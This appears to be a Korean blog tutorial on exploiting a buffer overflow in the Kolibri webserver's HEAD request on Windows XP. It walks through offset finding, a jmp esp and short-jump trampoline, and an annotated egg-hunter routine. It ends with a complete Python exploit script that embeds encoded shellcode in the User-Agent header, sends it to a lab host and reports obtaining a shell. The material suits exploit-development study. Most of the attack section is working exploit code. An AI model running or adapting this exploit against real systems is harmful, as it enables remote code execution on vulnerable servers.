Window Application Exploit -> Egg hunting

본 포스팅은 fuzzysecurity Tutorials part 4 -> Egg hunting을 분석 및 의역하여 작성하였습니다. Windows Application에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.

분석환경

  • Window XP PRO SP3
  • Software: Kolibri server
  • Python
  • Kali linux

 

Step 1. Application

간단한 Webserver program이다.

port 8080으로 설정을 하고 활성화시키면 port가 열린 것을 알 수 있다.

간단한 Request Method를 작성해서 보냈더니 kolibri webserver 상태창에 내가 보낸 data가 나오는 것을 알 수 있다.

 

Step 2. 취약점 분석

Kolibri Webserver의 취약점은 request method에서 HEAD인자로 보내주는 data가 BOF를 일으킬 수 있는 것이다.

그렇다면 내가 보낸 data들 중 HEAD인자의 data는 stack에 쌓인다는 것을 유추할 수 있다.

HEAD에 “AAAA…”를 넣어 실행 결과를 봤더니 EIP가 0x41414141로 바뀌어 있는 것을 알 수 있다.

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

pattern을 생성해서 exploit code에 넣어보자.

SEH chain 상태가 바뀌어 있는 것을 알 수 있다. handler 함수의 주소를 살펴보면 0x74413574로 나타나 있다. 해당 offset으로 맞추고 진행하였으나 handler방향으로 빠지지 않고 계속 다른 쪽으로 code가 진행되었다.

일단 return address를 덮는 방향으로만 진행을 할 것이다.

 

Step 3. Exploit

jmp esp code를 먼저 찾아내고 EIP에 덮어 breakpoint를 건 후 실행한다.

breakpoint가 걸린 상태에서 esp의 위치는 붉은 줄이 쳐저있는 부분이다. 그 뒤에는 보내주는 data가 담기게 된다.

지금 있는 esp 위치에 jmp short (address) code를 넣어준다.

어림잡아 -160bytes를 옮긴다하면 \xeb\x60이라는 어셈블리가 나온다. 이 code를 exploit에 포함시키고 실행한다.

보내준 “AAA…” data를 어셈블리처럼 읽어 실행하는 것을 볼 수 있다. 여기에다 shellcode를 넣으면 정상적으로 shellcode가 실행될 것이다.

그런데 한가지 문제가 있다. shellcode를 넣기에는 buffer의 size가 많이 부족하다.

linux exploit 중 특정 buffer에 shellcode를 넣을만한 크기가 나오지 않는다면 이를 환경변수나 다른 memory에 등록하고 사용하는 방법이 있다.

Windows에서도 마찬가지로 shellcode 앞부분에 tag를 붙여놓고 실행 code에서 tag를 찾아내 실행시키는 방법이 있다. 그렇다면 tag + shellcode를 다른 큰 공간에 넣어두고 size가 작은 실행시킬 수 있는 공간에 tag finder code를 넣어 shellcode를 넣어 실행시키면 된다.

이를 Egg hunting 기법이라고 한다.

6681CAFF0F or dx, 0x0fff 페이지에 있는 마지막 주소를 가져옴
42 in edx 카운텨 역할을 수행 ( edx = edx + 1)
52 push edx 스택에 edx 값을 삽입 ( 현재 주소 저장 )
6A43 push byte + 0x2 NtAccessCheckAndAuditAlarm을 위해 0x2 삽입 / NtDisplayString을 위해 0x43 삽입
58 pop eax 0x2 / 0x43 값을 eax로 가져옴 이를 이용해 eax가 시스템 콜의 인자로 사용됨
CD2E int 0x2e 커널에게 인자로 사용되는 레지스터(eax)를 이용해 시스템 콜을 호출할 것을 알림
3C05 cmp al, 0x5 접근 위반 발생 체크 ( 0xc0000005 == Access_Violation )
5A pop edx edx 값 복구
74EF je xxxx dx 0x0fffff 시작으로 다시 점프
B890509050 mov eax, 0x50905090 에그 헌터의 태그 부분
8BFA mov edi, edx edi 레지스터를 포인터로 세트
AF scasd 상태 비교
75EA jnz xxxx (int edx 주소로 돌아감) 에그 발견 여부 체크
AF scasd 상태 비교 ( 에그가 발견되면 )
75E7 jnz xxxx ( int edx 주소로 돌아감 ) 첫 번째 에그가 발견되면
FFE7 jmp edi edi는 진짜 쉘코드의 시작 부분을 가리킴

Egg hunting code의 실행 방식이다. Immunity debugger에서 tag를 넣어 code를 생성할 수 있다.

!mona egg -t b33f 라는 명령어를 넣어 tag가 b33f인 egg hunting code를 만들었다.

import socket
import struct

jmp = 0x7d5b30d7

egg = ""
egg += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egg += "\xef\xb8\x62\x33\x33\x66\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

shellcode = ""
shellcode = ("\x89\xe1\xdb\xc2\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x79\x6c\x48\x68\x4e\x62\x65\x50\x47\x70\x47\x70\x55\x30\x6d"
"\x59\x79\x75\x56\x51\x49\x50\x52\x44\x4c\x4b\x70\x50\x64\x70"
"\x6c\x4b\x36\x32\x66\x6c\x4c\x4b\x72\x72\x75\x44\x4e\x6b\x52"
"\x52\x67\x58\x36\x6f\x48\x37\x42\x6a\x65\x76\x35\x61\x39\x6f"
"\x6c\x6c\x55\x6c\x43\x51\x53\x4c\x35\x52\x56\x4c\x51\x30\x4b"
"\x71\x5a\x6f\x66\x6d\x35\x51\x4b\x77\x4a\x42\x79\x62\x61\x42"
"\x73\x67\x6e\x6b\x33\x62\x46\x70\x6e\x6b\x61\x5a\x35\x6c\x4c"
"\x4b\x30\x4c\x66\x71\x74\x38\x68\x63\x73\x78\x46\x61\x58\x51"
"\x32\x71\x4c\x4b\x62\x79\x77\x50\x76\x61\x68\x53\x6e\x6b\x72"
"\x69\x44\x58\x58\x63\x65\x6a\x31\x59\x6e\x6b\x45\x64\x6e\x6b"
"\x76\x61\x7a\x76\x75\x61\x4b\x4f\x6c\x6c\x4a\x61\x4a\x6f\x74"
"\x4d\x55\x51\x4f\x37\x77\x48\x39\x70\x42\x55\x6b\x46\x56\x63"
"\x31\x6d\x68\x78\x47\x4b\x31\x6d\x67\x54\x62\x55\x78\x64\x31"
"\x48\x6e\x6b\x61\x48\x51\x34\x63\x31\x4b\x63\x33\x56\x6e\x6b"
"\x36\x6c\x42\x6b\x6e\x6b\x62\x78\x55\x4c\x53\x31\x39\x43\x4c"
"\x4b\x36\x64\x4c\x4b\x63\x31\x68\x50\x6e\x69\x67\x34\x56\x44"
"\x51\x34\x33\x6b\x63\x6b\x75\x31\x52\x79\x33\x6a\x42\x71\x49"
"\x6f\x4b\x50\x73\x6f\x51\x4f\x62\x7a\x4c\x4b\x55\x42\x58\x6b"
"\x4e\x6d\x33\x6d\x42\x48\x47\x43\x35\x62\x75\x50\x67\x70\x63"
"\x58\x33\x47\x51\x63\x75\x62\x63\x6f\x76\x34\x61\x78\x50\x4c"
"\x42\x57\x76\x46\x76\x67\x59\x6f\x7a\x75\x4c\x78\x6e\x70\x77"
"\x71\x35\x50\x57\x70\x35\x79\x7a\x64\x33\x64\x62\x70\x30\x68"
"\x36\x49\x6f\x70\x52\x4b\x53\x30\x69\x6f\x6a\x75\x33\x5a\x74"
"\x48\x36\x39\x42\x70\x6d\x32\x69\x6d\x71\x50\x72\x70\x77\x30"
"\x52\x70\x50\x68\x39\x7a\x56\x6f\x4b\x6f\x6b\x50\x39\x6f\x4b"
"\x65\x4f\x67\x75\x38\x57\x72\x43\x30\x46\x47\x34\x4f\x6e\x69"
"\x69\x76\x70\x6a\x54\x50\x51\x46\x30\x57\x42\x48\x69\x52\x59"
"\x4b\x77\x47\x75\x37\x59\x6f\x6a\x75\x43\x67\x45\x38\x4e\x57"
"\x69\x79\x56\x58\x59\x6f\x59\x6f\x79\x45\x66\x37\x65\x38\x33"
"\x44\x68\x6c\x37\x4b\x39\x71\x6b\x4f\x4a\x75\x61\x47\x4d\x47"
"\x35\x38\x72\x55\x70\x6e\x32\x6d\x50\x61\x69\x6f\x49\x45\x42"
"\x48\x30\x63\x30\x6d\x30\x64\x65\x50\x6b\x39\x6d\x33\x66\x37"
"\x52\x77\x72\x77\x66\x51\x58\x76\x62\x4a\x65\x42\x63\x69\x43"
"\x66\x58\x62\x59\x6d\x63\x56\x6b\x77\x67\x34\x67\x54\x47\x4c"
"\x65\x51\x33\x31\x4c\x4d\x42\x64\x71\x34\x64\x50\x6f\x36\x45"
"\x50\x57\x34\x71\x44\x52\x70\x52\x76\x73\x66\x52\x76\x61\x56"
"\x56\x36\x32\x6e\x63\x66\x52\x76\x32\x73\x66\x36\x75\x38\x61"
"\x69\x38\x4c\x67\x4f\x4c\x46\x39\x6f\x79\x45\x6d\x59\x6b\x50"
"\x32\x6e\x43\x66\x70\x46\x39\x6f\x56\x50\x65\x38\x47\x78\x4b"
"\x37\x57\x6d\x73\x50\x59\x6f\x6e\x35\x6d\x6b\x6a\x50\x68\x35"
"\x49\x32\x73\x66\x43\x58\x6d\x76\x6c\x55\x4f\x4d\x4f\x6d\x39"
"\x6f\x59\x45\x45\x6c\x47\x76\x51\x6c\x55\x5a\x4f\x70\x69\x6b"
"\x79\x70\x54\x35\x37\x75\x6d\x6b\x37\x37\x75\x43\x44\x32\x52"
"\x4f\x53\x5a\x77\x70\x36\x33\x59\x6f\x49\x45\x41\x41")

stage1 = "\x90" * 40
stage1 += egg
stage1 += "\x41" * (515 - len(stage1))
stage1 += struct.pack('<L', jmp)
stage1 += "\xeb\x60"

stage2 = ""
stage2 += "b33fb33f"
stage2 += shellcode

buf = (
 "HEAD /" + stage1 + " HTTP/1.1\r\n"
 "Host: 192.168.236.128:8080\r\n"
 "User-Agent: " + stage2 + "\r\n"
 "Keep-Alive: 115\r\n"
 "Connection: keep-alive\r\n\r\n")

proc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
proc.connect(("192.168.236.128", 8080))
proc.send(buf)
proc.close()

User-Agent에 tag를 붙인 shellcode를 넣고 실행시켰다.

실행시키면 위와 같이 log창이 뜨게된다.

그리고 내 로컬환경에서 shell을 실행시킬 수 있다.